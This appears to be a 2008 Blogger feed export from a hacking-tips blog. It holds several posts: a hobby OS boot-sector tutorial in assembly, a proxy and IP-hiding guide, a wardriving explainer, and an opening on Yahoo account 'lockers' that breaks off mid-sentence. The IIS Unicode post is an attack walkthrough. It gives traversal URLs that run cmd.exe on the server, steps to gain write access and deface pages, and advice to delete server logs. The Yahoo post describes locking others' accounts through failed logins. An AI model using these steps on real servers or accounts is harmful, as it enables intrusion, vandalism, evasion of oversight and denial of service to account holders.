to bits 6 and 7&lt;br /&gt;            or cl, byte [bsReserv]      ; or with sector number&lt;br /&gt;            mov al,1                    ; number of sectors&lt;br /&gt;            mov ah,2                    ; use read function of int 0x13&lt;br /&gt;            int 0x13                    ; read sector&lt;br /&gt;            jc bootfail                 ; display error message&lt;br /&gt;            ret                         ; return to caller&lt;br /&gt;&lt;br /&gt;padding     times 45 db 0&lt;br /&gt;FileName    db "OSLOADERCOM"&lt;br /&gt;MsgBad      db "Disk Error...",13,10,0&lt;br /&gt;MsgDot      db ".",0&lt;br /&gt;MsgLoad     db "doors loading",0&lt;br /&gt;BootSig     db 0x55, 0xAA&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anyways, copy the above program, save it, build it with nasm, copy it with copyboot.&lt;br /&gt;As you can guess above, it loads a program called 'OSLOADER.COM' off of the floppy. So, if you want a particularily funky os, build the following with nasm: &lt;br /&gt;;Funky squares&lt;br /&gt;;&lt;br /&gt;;Assembles with NASM&lt;br /&gt;;Made by Frej  somewhere between april and may 2000&lt;br /&gt;;Bits reprogrammed to run within DeviatorOS&lt;br /&gt;;&lt;br /&gt;;This demo is just to show you how small graphical demos can get ;)&lt;br /&gt;;Reprogrammed for DeviatorOS as demo program&lt;br /&gt;&lt;br /&gt;        org 0x0000&lt;br /&gt;        mov ax,cs&lt;br /&gt;        mov ds,ax&lt;br /&gt;        mov es,ax         ; fix segment regs&lt;br /&gt;&lt;br /&gt;start:  mov bx,cs         ;put codesegment to bx&lt;br /&gt;        add bh,0x20       ;add 2000 to bx&lt;br /&gt;        mov ds,bx         ;and put it to ds&lt;br /&gt;        mov ax,0x13       ;set ax to videomode 13&lt;br /&gt;        int 10h           ;and do that&lt;br /&gt;Main:   push ds           ;put buffer seg to stack&lt;br /&gt;        pop es            ;and put that into es&lt;br /&gt;        in ax,0x40        ;generate "random" number (timer)&lt;br /&gt;        shl ax,4          ;multiply random # with 16&lt;br /&gt;        mov di,ax         ;box offset (random)&lt;br /&gt;        mov al,255        ;color of the box&lt;br /&gt;        mov bx,50         ;height=50&lt;br /&gt;pl:     add di,270        ;di+270 (320-width(50))&lt;br /&gt;        mov cx,50         ;# bytes to copy to buffer&lt;br /&gt;        rep stosb         ;and do it&lt;br /&gt;        dec bx            ;decrement bx&lt;br /&gt;        jnz pl            ;jump if bx not zero&lt;br /&gt;        mov bh,0xFA       ;assume bl = 0 (-&gt; bx = FA00)&lt;br /&gt;Smudge: mov al,[bx+1]     ;right color to al&lt;br /&gt;        mov cl,[bx-1]     ;left color to cl&lt;br /&gt;        add ax,cx         ;and add it to ax&lt;br /&gt;        mov cl,[bx-320]   ;upper color to cl&lt;br /&gt;        add ax,cx         ;and add it to ax&lt;br /&gt;        mov cl,[bx+320]   ;lower color to cl&lt;br /&gt;        add ax,cx         ;and add it to ax&lt;br /&gt;        shr ax,2          ;divide with 4&lt;br /&gt;        mov [bx],al       ;and but the avarage color to buffer&lt;br /&gt;        dec bx            ;decrement bx&lt;br /&gt;        jnz Smudge        ;jump if bx not zero&lt;br /&gt;        mov ax,0xA000     ;vga seg&lt;br /&gt;        mov es,ax         ;put it to es&lt;br /&gt;        mov ch,0xFA       ;# bytes to copy to vga&lt;br /&gt;        xor di,di         ;zero vga offset&lt;br /&gt;        xor si,si         ;zero buffer offset&lt;br /&gt;        rep movsb         ;and do that&lt;br /&gt;        in al,0x60        ;check for keys&lt;br /&gt;        dec al            ;was it esc?&lt;br /&gt;        jnz Main          ;nope, continue&lt;br /&gt;        mov ax,3          ;text mode&lt;br /&gt;        int 10h           ;get back into text mode&lt;br /&gt;        xor ah,ah         ;yes, return to OS&lt;br /&gt;        int 0x18          ;back to good old kernel&lt;br /&gt;;Note:- This was, as you can guess, ripped by from an os. So when it goes back to the 'good ol kernel' it just restarts.&lt;br /&gt;&lt;br /&gt;Build it with nasm, but rather than faffing around copyboot, just name is as OSLOADER.COM and copy it to the floppy.&lt;br /&gt;Now restart and enjoy the funkiness. Woah dood.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C&lt;br /&gt;Time to escape assembly language. The boot sector has to be written in assembly, but nothing else does. Unfortunately you can't just go and write a cool shell with Visual C++. First of all, its has to be a .com program, not .exe.&lt;br /&gt;.exe programs are just .com with a bit of extra info. at the start giving some info on what the program is. It's very easy to add .exe capabililty to an os, or you can download a program called exe2com.&lt;br /&gt;The serious problem though is that you can create your own ints to make things easier. EasyOs does this (look in kernel.asm under the src folder) and Dos does this too (Dos makes int 21). By default, compilers build a program with these ints.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2277307616818829947?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2277307616818829947/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/writing-your-own-operatingsystem.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2277307616818829947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2277307616818829947'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/writing-your-own-operatingsystem.html' title='Writing Your Own OperatingSystem'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2137193002436281076</id><published>2008-12-20T03:42:00.001+07:00</published><updated>2008-12-20T03:45:52.158+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Proxy Servers</title><content type='html'>&lt;span style="font-weight: bold;"&gt;A. What are Proxy servers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well before we can explain what proxy servers are we must show you alittle how the internet works. The internet has thousands of users. How does it indentify each user? Well it does it by "packets" these packets tell alot about you and your computer. When you connect to let's say Yahoo.com packets are sent to yahoo.com servers and inside the packets the following data is sent:&lt;br /&gt;&lt;br /&gt;Your I.P. Number&lt;br /&gt;Your Operating System&lt;br /&gt;The date and time you where connected&lt;br /&gt;and any data you submitted to yahoo.com&lt;br /&gt;&lt;br /&gt;This is how they work. Now, How is this a security risk? Well if you visit some hacker sites thet can get your ip and hack you and they can find informaiton about your os and that helps a hacker because he can look up exploits for your os and so fourth. So we are going to show you how to hide your real ip using a http:// proxy and we will talk about socks and http:// tunneling. Now how does a proxy server work? A proxy server works like this. Instead of your computer connecting to yahoo.com directly and sending packets this is what a proxy does. Your computer connects to the proxy. The proxy then connects yahoo.com and then the proxy sends the page to you. Instead of your ip being shown on that page the proxy's ip is shown Thus hiding your ip.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B. Enable a Proxy Server&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ok to enable a proxy server open up internet explorer. Now go to the following:&lt;br /&gt;&lt;br /&gt;Tools &gt; Internet Options&lt;br /&gt;&lt;br /&gt;Now when the internet options dialog appears click on the tab that says "Connections" You will then see a button that says Lan settings. Click on this button. Now once you have clicked up on this button you will see a check box that says "Use proxy server for lan" Now check that box and enter a proxy server and a port number. You can get them by going to stayinvisible.com. Now once you have a proxy server your not done yet. Your still unsecure. There are alot of ways to get your ip still. Now before you close that box out click on advaned. You will see a a button next to the port number field that says "advaned..." click this button. Once you click it another dialog appears that is called "proxy settings" Now you will see a check that says "Use the same proxy server for all protocals" un-check this. Now just click ok for now and then apply the new settings. Now you cant use a proxy if your running on a windows 9x machine. Anyway we will come back to why we did this later in this article.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;C. Your Os and other info.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now let's say you are running on a xp os and you have a proxy with this address enabled: "293.223.232" so now your packets send this info:&lt;br /&gt;&lt;br /&gt;293.223.232 5:01 PM 12/8/2003 Windows xp, MISE 4.0 (Comaptiable with IE6;Win32)&lt;br /&gt;&lt;br /&gt;Now you got your ip hidden but they can still see your Os and your Internet browser. There is a quick and easy way to fix this. Hold down the windows logo key + r and the run dialog appears. Type in regedit and then click ok. The registry editor has appeared. Now navigate to this key to change your os version:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and you will see all of your information. Now Only Change the following keys:&lt;br /&gt;&lt;br /&gt;The Version&lt;br /&gt;Your name&lt;br /&gt;&lt;br /&gt;dont change the c:\windows keep that as your root directory! I am warnign you! Now when you restart your machine when you visit your website it will say whatever os you typed in there. I have linux mandrake listed for mine. Now once you changed that navigate to this key:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and change that to whatever you want.&lt;br /&gt;&lt;br /&gt;Now when you surf the internet the packets send this data out:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;293.223.232 5:01 PM 12/8/2003 Linux Mandrake, Opera Webbrowser&lt;br /&gt;&lt;br /&gt;See I faked all of my information. And if you want to go further change the clock's time and date.. But that wont help the hak0r much. lol =)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;D. Socket Proxys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now Socket proxys they dont work like http:// one's do. Socket proxys work with individual programs such as Aim and Icq and so fourth. Now socket proxies are going to be harder to find then http ones. That is because there's just not a real demand for them. So go to google and type in one of the below&lt;br /&gt;&lt;br /&gt;index of/socket proxies&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;socket+proxies&lt;br /&gt;&lt;br /&gt;and so on... Now once you have found one open up internet explorer again and go back to tools &gt; internet options &gt; connections tab &gt; lan settings &gt; advaned... and where it says socket proxies put your socket proxie. now be aware that http:// proxies will not work for a socket p roxie. You have to find one for sockets. Once you enter it your and apply it your more secure then you where before you read this tutorial. Now there is one more security issue and that is cookies. I would suggest you limit your cookies to a certain size and also maybe have a program "delete" all of the cookies after you close a internet session. Anyway I hope this tutroial has helped.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2137193002436281076?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2137193002436281076/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/proxy-servers.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2137193002436281076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2137193002436281076'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/proxy-servers.html' title='Proxy Servers'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6830351399022604702</id><published>2008-12-20T03:32:00.001+07:00</published><updated>2008-12-20T03:34:49.579+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>unicode</title><content type='html'>&lt;span style="font-weight: bold;"&gt;The unicode&lt;/span&gt; bug is a bug in the &lt;span style="font-weight: bold;"&gt;UNICODE &lt;/span&gt;character set which is installed with&lt;br /&gt;IIS4.0/5.0 which usually runs on NT4/Win2k respectively. As rfp put in his&lt;br /&gt;wiretrip.net post, "IIS seems to decode &lt;span style="font-weight: bold;"&gt;UNICODE &lt;/span&gt;at the wrong instance&lt;br /&gt;(after path checking, rather than before)." And so it is &lt;span style="font-weight: bold;"&gt;exploitable&lt;/span&gt;.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The first occurance of the unicode bug was when someone (anonymous person)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;said they could execute commands on an IIS5.0 webserver with the following URL:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\&lt;br /&gt;&lt;br /&gt;And they gave a "live" example to prove their find. This lead to many security&lt;br /&gt;analysts researching into this "bug" some more to see if it was not just only&lt;br /&gt;a server specific hole, and was in fact a hole in _all_ IIS4.0/5.0 systems.&lt;br /&gt;&lt;br /&gt;The research was successful, and it was concluded that the UNICODE bug was a&lt;br /&gt;security hole in _all_ IIS webservers that lead to remote users being able to&lt;br /&gt;execute commands on the vulnerable machine.&lt;br /&gt;&lt;br /&gt;The funny thing with unicode, is that the exploit differs for each UNICODE character&lt;br /&gt;set. For instance, if you are using an IIS server which is in Chinese (.cn), then&lt;br /&gt;it is using a different &lt;span style="font-weight: bold;"&gt;UNICODE &lt;/span&gt;character set to English (.uk) systems. And so the exploit&lt;br /&gt;is different depending on the &lt;span style="font-weight: bold;"&gt;UNICODE&lt;/span&gt; character set in use.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Well, there are *many* Unicode exploit strings that are "successful" so I am not going&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;to list them here. You can find them on bugtraq, packetstorm etc.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Firstly, it doesn't matter what OS the machine you are attacking is using. It is a web&lt;br /&gt;server specific hole that we are exploiting, and so as long as the server is IIS 4.0&lt;br /&gt;or 5.0, the OS doesn't matter. So *if* (you won't, trust me) you find a OpenBSD system&lt;br /&gt;running an "out-of-the-box" install of IIS4.0, this is your lucky day. I have only ever&lt;br /&gt;attacked WindowsNT/2k with the &lt;span style="font-weight: bold;"&gt;unicode bug&lt;/span&gt;, so I am not quite sure how it would work on&lt;br /&gt;a *nix system, how the fuck would you get c:\winnt on a *nix system? heh..&lt;br /&gt;&lt;br /&gt;Firstly, get the Perl script from the Scripts section of g0tr00t.net,&lt;br /&gt;&lt;br /&gt; http://195.13.75.249/shell.pl&lt;br /&gt;&lt;br /&gt;This is a Perl script that will scan the host you give it for the unicode bug. If it finds&lt;br /&gt;it is exploitable, it will let you know ;)&lt;br /&gt;&lt;br /&gt;Okay, so now use this perl script and enter the host you want to scan (it *must* be on&lt;br /&gt;IIS4.0/5.0 remember) and let the script do it's stuff.&lt;br /&gt;&lt;br /&gt;If it tells you it is &lt;span style="font-weight: bold;"&gt;vulnerable &lt;/span&gt;(you will know if it is) then take the complete &lt;span style="font-weight: bold;"&gt;URL &lt;/span&gt;it gives&lt;br /&gt;you, and paste it into your browser. Using the .pl script to actually execute &lt;span style="font-weight: bold;"&gt;commands &lt;/span&gt;on&lt;br /&gt;the system is stupid, it doesn't work very well, your browser is the best &lt;span style="font-weight: bold;"&gt;tool &lt;/span&gt;for this :)&lt;br /&gt;&lt;br /&gt;So your URL is something like this:&lt;br /&gt;&lt;br /&gt; http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\&lt;br /&gt;&lt;br /&gt;Okay, so first we need "write access" to the drives on the machine. Execute this command:&lt;br /&gt;&lt;br /&gt; cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\cmd1.exe&lt;br /&gt;&lt;br /&gt;Now change the URL you are using to this:&lt;br /&gt;&lt;br /&gt; /winnt/system32/cmd1.exe?/c+dir+c:\&lt;br /&gt;&lt;br /&gt;You now have write access, test it by doing:&lt;br /&gt;&lt;br /&gt; cmd1.exe?/c+echo+hello!+&gt;+c:\test.txt&lt;br /&gt; cmd1.exe?/c+echo+hello!+&gt;+d:\test.txt&lt;br /&gt;&lt;br /&gt;If you get an access denied error, then you _can't_ get write access, so fuck it, find another&lt;br /&gt;server.&lt;br /&gt;&lt;br /&gt;-= Defacing =-&lt;br /&gt;&lt;br /&gt;Well, this tutorial is not for defacing, but I can tell you that the *default* webserver directory&lt;br /&gt;is in:&lt;br /&gt; &lt;br /&gt; c:\InetPub\WWWRoot&lt;br /&gt;&lt;br /&gt;But you can find any HTML files by doing:&lt;br /&gt;&lt;br /&gt; cmd1.exe?/c+dir+/S+c:\*.html&lt;br /&gt;&lt;br /&gt;So you can find the HTML easily then :)&lt;br /&gt;&lt;br /&gt;To deface it, just echo your message to a file, then "copy index.html backup.html",&lt;br /&gt;then "copy your-file index.html"&lt;br /&gt;&lt;br /&gt;-= Cleaning Up =-&lt;br /&gt;&lt;br /&gt;Well, it is important to know that ALL IIS SERVERS WILL LOG YOUR ACTIONS. They will have a basic&lt;br /&gt;HTTPd log with the stuff you have been doing, so uhm I suggest you use a proxy server before&lt;br /&gt;exploring any systems.&lt;br /&gt;&lt;br /&gt;The logs, by default are in C:\WINNT\SYSTEM32\LOGFILES\W3SVC32 but almost definately will not be&lt;br /&gt;there, so execute this command:&lt;br /&gt;&lt;br /&gt; cmd1.exe?/c+dir+/S+c:\*W3SVC32&lt;br /&gt;&lt;br /&gt;And you _should_ find them. It is best to remove them too btw :)&lt;br /&gt;&lt;br /&gt;You might not be able to remove the log file in use (as it is in use). Try and echo over it or something&lt;br /&gt;so that it is clearned.&lt;br /&gt;&lt;br /&gt;-=[ Patching UNICODE ]=-&lt;br /&gt;&lt;br /&gt;Okay, if you're an admin of a system that runs IIS, you most probably want to patch your system(s) ;)&lt;br /&gt;&lt;br /&gt;So, for IIS4.0 goto:&lt;br /&gt;&lt;br /&gt; http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/&lt;br /&gt;&lt;br /&gt;For IIS5.0 goto:&lt;br /&gt;&lt;br /&gt; http://www.microsoft.com/windows2000/downloads/critical/q269862/&lt;br /&gt;&lt;br /&gt;And for other Windows updates (patch up guys!), goto:&lt;br /&gt;&lt;br /&gt; http://security.alldas.de/patches/?op=detail&amp;amp;distribution=Windows&lt;br /&gt;&lt;br /&gt;I suggest you signup to the Windows security mailing lists too, so go to:&lt;br /&gt;&lt;br /&gt; http://www.microsoft.com/technet/security/notify.asp&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6830351399022604702?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6830351399022604702/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/unicode.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6830351399022604702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6830351399022604702'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/unicode.html' title='unicode'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-1285107678138626009</id><published>2008-12-20T03:28:00.000+07:00</published><updated>2008-12-20T03:30:44.724+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Wireless Scanning – Wardriving / Warchalking</title><content type='html'>&lt;span style="font-weight: bold;"&gt;What is wireless scanning?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Wireless scanning is a method to find an available wireless network access point. It allows you to identify wireless networks through the use of WNIC (wireless network interface card) running in promiscuous mode and a software that will probe for &lt;span style="font-style: italic;"&gt;access points&lt;/span&gt;. Once an open &lt;span style="font-style: italic;"&gt;wireless access&lt;/span&gt; point is found, the wardriver usually maps it, so at the end he would have a map of access points with their properties (SSID, WEP, MAC etc.). Whenever the attacker wants to return into the network, he/she usually logs packets for later analysis, or to run them though a WEP key cracker when a weak key is being used.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;There are many different types of wireless scanning. The most known and used scanning method is Wardriving, next comes Warchalking. There are many other methods such as Warstrolling, Warflying etc., however this articles deals with Wardriving and Warchalking only.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Why “War”?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The term “&lt;span style="font-weight: bold;"&gt;war&lt;/span&gt;”, which is used in Wardriving, Warchalking etc., was taken from the old days of WarDialing. WarDialing, the hacking practice of phoning up every extension of a phone network until the number associated with a modem is hit upon, has been replaced by WarDriving with the introduction of wireless LANS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;WarDriving – Let’s take a drive…&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Wardriving is the first and well known method used to find available wireless networks (means unsecured). It is usually done with a mobile device such as a laptop or iPaq. Wardriving scanning is accomplished in an easy way: the attacker takes the device with him/her into a car, and detects networks (&lt;span style="font-style: italic;"&gt;NetStumbler for Windows, BSD-AriTools for BSD, and airsnort for Linux&lt;/span&gt;). Once an open access point is detected, the attacker maps it, explores, or stumbles into a pipe to the internet.&lt;br /&gt;&lt;br /&gt;The equipment necessary to WarDrive is: A wireless network interface card (PCMCIA), a device capable of locating itself on a map (GPS, not always necessary), a laptop or any other mobile device, Linux Red Hat or Debian (Windows is not recommended), Wireless tools (WEPCrack, AirSnort etc.).&lt;br /&gt;&lt;br /&gt;The equipment is all off the shelf and pretty inexpensive.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;WarChalking – The hobo language&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;“Now a new "language" is developing, WarChalking. The idea is based on the "hobo symbols" and is there to tell persons on the street where there is an open wireless network node, and what the settings are. It may look like incomprehensible squiggles, and most people would walk past thinking it is odd graffiti, but it conveys a lot of info that is understood by the &lt;span style="font-weight: bold;"&gt;hackers&lt;/span&gt;. Furthermore, it is now being adopted by those that are sharing networks voluntarily as a way to give the info out to the &lt;span style="font-weight: bold;"&gt;community&lt;/span&gt;." – Zig&lt;br /&gt;&lt;br /&gt;WarChalking was conceived by a group of friends in June 2002, and published by Matt Jones.&lt;br /&gt;&lt;br /&gt;WarChalking is simply drawing a chalk symbol on a wall or pavement to indicate the presence of a wireless network, so that other can easily notice it and the details about it. WarChalking is a the modern version of the hobo sign language, which was used by low-tech kings of the road to alert each other to shelter, food and potential trouble. The chalks symbols are nothing more than giving a visual cue to of a wireless network.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The following are the WarChalking symbols:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Symbol Key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SSID Open Node&lt;br /&gt;)(&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bandwidth&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SSID Closed Node&lt;br /&gt;()&lt;br /&gt;&lt;br /&gt;WEP Node SSID Access Contact&lt;br /&gt;( W )&lt;br /&gt;Bandwidth&lt;br /&gt;&lt;br /&gt;Example for a WarChalking symbol:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Retin&lt;/span&gt;a&lt;br /&gt;)(&lt;br /&gt;1.5&lt;br /&gt;&lt;br /&gt;This symbol indicates a open node with SSID “Retina” and &lt;span style="font-weight: bold;"&gt;bandwidth &lt;/span&gt;equal to 1.5MBps.&lt;br /&gt;&lt;br /&gt;With the use of these symbols, wardrivers can a lot about the node, and whether this is a worth network. Anyone initiated in the ways of &lt;span style="font-weight: bold;"&gt;WarChalking &lt;/span&gt;will recognize what it means, and get online.&lt;br /&gt;&lt;br /&gt;Securing WLANs&lt;br /&gt;&lt;br /&gt;Securing a wireless network is much simpler than securing a wired &lt;span style="font-weight: bold;"&gt;network&lt;/span&gt;. Building a secure wireless network can be done within few steps. So, you ask yourself “why then it’s easy to break into a wireless network?” the answer is very simple. Whenever a company wants to connect their employees wirelessly into the company network, the administrators often forget to change the default settings of a &lt;span style="font-style: italic;"&gt;router, firewall, access point, enabling WEP and more.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Further more, far too many systems administrators forget that the wireless network extends beyond the walls of a building. There may be security guards at the door, and firewalls on the fixed cable network, but the wireless back door is wide open.&lt;br /&gt;&lt;br /&gt;The Wireless network security issues are not discussed in this article. WLANs security issues &lt;span style="font-style: italic;"&gt;were discussed in my previous article “&lt;span style="font-weight: bold;"&gt;Wireless Security &amp;amp; Hacking&lt;/span&gt;”.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Links &amp;amp; Sources&lt;br /&gt;&lt;br /&gt;http://www.wifimaps.com - Map server listing wireless access points.&lt;br /&gt;&lt;br /&gt;http://www.kraftvoll.at/software/index.shtml - GPS driving software for Linux.&lt;br /&gt;&lt;br /&gt;http://www.kismetwireless.net - Wireless console bases sniffer. It supports GPS and has a lot of features.&lt;br /&gt;&lt;br /&gt;http://airsnort.shmoo.com - Wireless GUI sniffer for breaking WEP keys.&lt;br /&gt;&lt;br /&gt;ftp.cs.pdx.edu/pub/mobile - FreeBSD WScan&lt;br /&gt;&lt;br /&gt;http://www.blackbeltjones.com/warchalking/warchalking0_9.pdf - WarChalking Symbols&lt;br /&gt;&lt;br /&gt;http://wepcrack.sourceforge.net - WEPCrack – Linux&lt;br /&gt;&lt;br /&gt;http://www.blackalchemy.to/Projects/fakeap/fake-ap.html - Fake AP - Linux&lt;br /&gt;&lt;br /&gt;http://prismstumbler.sourceforge.net/ - PrismStumbler – Linux&lt;br /&gt;&lt;br /&gt;http://www.bastard.net/~kos/wifi/ - SSID Sniff – Linux&lt;br /&gt;&lt;br /&gt;http://www.techm.com/font2.html - Hobo Symbol Type Font&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-1285107678138626009?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/1285107678138626009/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/wireless-scanning-wardriving.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1285107678138626009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1285107678138626009'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/wireless-scanning-wardriving.html' title='Wireless Scanning – Wardriving / Warchalking'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6879653658186648249</id><published>2008-12-20T03:24:00.002+07:00</published><updated>2008-12-20T03:41:56.173+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Yahoo! Account Lockers</title><content type='html'>Many people on &lt;span style="font-weight: bold;"&gt;Yahoo!&lt;/span&gt; have asked me how do &lt;span style="font-weight: bold;"&gt;Yahoo Account lockers&lt;/span&gt; that are usually included inside of booters, How do they work? Do they connect to some server and change settings or what? Well, They really don't do much. When someone signs up for a Yahoo! &lt;span style="font-weight: bold;"&gt;Account&lt;/span&gt; each time they want to &lt;span style="font-weight: bold;"&gt;access a&lt;/span&gt; Yahoo! Service the next time they come back Yahoo! Prompt's them for a&lt;span style="font-style: italic;"&gt; username and password to log-in to there accounts&lt;/span&gt;.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Well, Here is how a booter works. When you specify a Yahoo! Username into the program and click lock it will attempt to sign-into that account using random numbers for the password. After about 10 attempts or Less Yahoo! Locks the account for &lt;span style="font-style: italic;"&gt;security&lt;/span&gt; reasons. Now, This is so easy to make but alot of people dont know how easy it is. Now you may ask if my account is locked how do I by-Pass it? Well you by-pass it by signing in on a foriegn country site. So if your account is a registered account on the Yahoo! American site (Http://www.Yahoo.com) go to The U.K. Site and log-in (Http://Uk.Yahoo.Com) and you will be able to bypass the 